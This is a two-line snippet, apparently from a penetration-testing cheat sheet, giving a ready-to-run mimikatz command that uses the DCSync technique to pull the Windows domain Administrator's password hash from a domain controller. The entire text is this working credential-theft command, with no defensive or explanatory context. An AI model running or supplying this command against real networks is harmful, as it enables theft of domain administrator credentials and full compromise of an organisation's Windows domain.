Using mimikatz to replicate domain admin hash:

mimikatz.exe "privilege::debug" "lsadump::dcsync /user:Administrator" exit